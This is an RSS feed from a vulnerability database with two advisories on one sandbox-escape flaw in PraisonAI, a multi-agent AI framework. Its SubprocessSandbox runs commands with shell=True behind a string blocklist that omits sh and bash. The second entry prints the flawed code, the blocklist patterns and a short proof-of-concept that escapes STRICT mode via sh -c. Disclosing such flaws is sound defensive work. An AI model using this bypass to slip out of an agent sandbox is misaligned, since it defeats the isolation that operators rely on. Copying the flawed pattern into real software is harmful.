<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 12 Oct 2026 02:45:54 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-34955 — PraisonAI: Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2026-34955</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; MervinPraison PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 4.5.97, SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c &amp;#39;&amp;lt;command&amp;gt;&amp;#39;. This issue has been patched in version 4.5.97.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; MervinPraison PraisonAI&lt;/p&gt;
&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 4.5.97, SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c &amp;#39;&amp;lt;command&amp;gt;&amp;#39;. This issue has been patched in version 4.5.97.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2026-34955</guid>
    </item>
    <item>
      <title>PYSEC-2026-2921 — PraisonAI Has Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-2921</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c &amp;#39;&amp;lt;command&amp;gt;&amp;#39;`.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`sandbox_executor.py:179` (source) -&amp;gt; `sandbox_executor.py:326` (sink)
```python
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:  # sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    (&amp;#34;| sh&amp;#34;,   ...),   # requires space -- &amp;#34;id|bash&amp;#34; evades this
    (&amp;#34;| bash&amp;#34;, ...),   # requires space
]&lt;/p&gt;
&lt;p&gt;# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)
```&lt;/p&gt;
&lt;p&gt;### PoC
```python
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, &amp;#39;src/praisonai&amp;#39;)
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode&lt;/p&gt;
&lt;p&gt;policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)&lt;/p&gt;
&lt;p&gt;result = sandbox.execute(&amp;#34;sh -c &amp;#39;id&amp;#39;&amp;#34;)
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Users who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocke…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`SubprocessSandbox` in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls `subprocess.run()` with `shell=True` and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include `sh` or `bash` as standalone executables, allowing trivial sandbox escape in STRICT mode via `sh -c &amp;#39;&amp;lt;command&amp;gt;&amp;#39;`.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`sandbox_executor.py:179` (source) -&amp;gt; `sandbox_executor.py:326` (sink)
```python
# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:  # sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    (&amp;#34;| sh&amp;#34;,   ...),   # requires space -- &amp;#34;id|bash&amp;#34; evades this
    (&amp;#34;| bash&amp;#34;, ...),   # requires space
]&lt;/p&gt;
&lt;p&gt;# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)
```&lt;/p&gt;
&lt;p&gt;### PoC
```python
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, &amp;#39;src/praisonai&amp;#39;)
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode&lt;/p&gt;
&lt;p&gt;policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)&lt;/p&gt;
&lt;p&gt;result = sandbox.execute(&amp;#34;sh -c &amp;#39;id&amp;#39;&amp;#34;)
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Users who deploy with `--sandbox strict` have no meaningful OS-level isolation. Any command blocke…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-2921</guid>
    </item>
  </channel>
</rss>
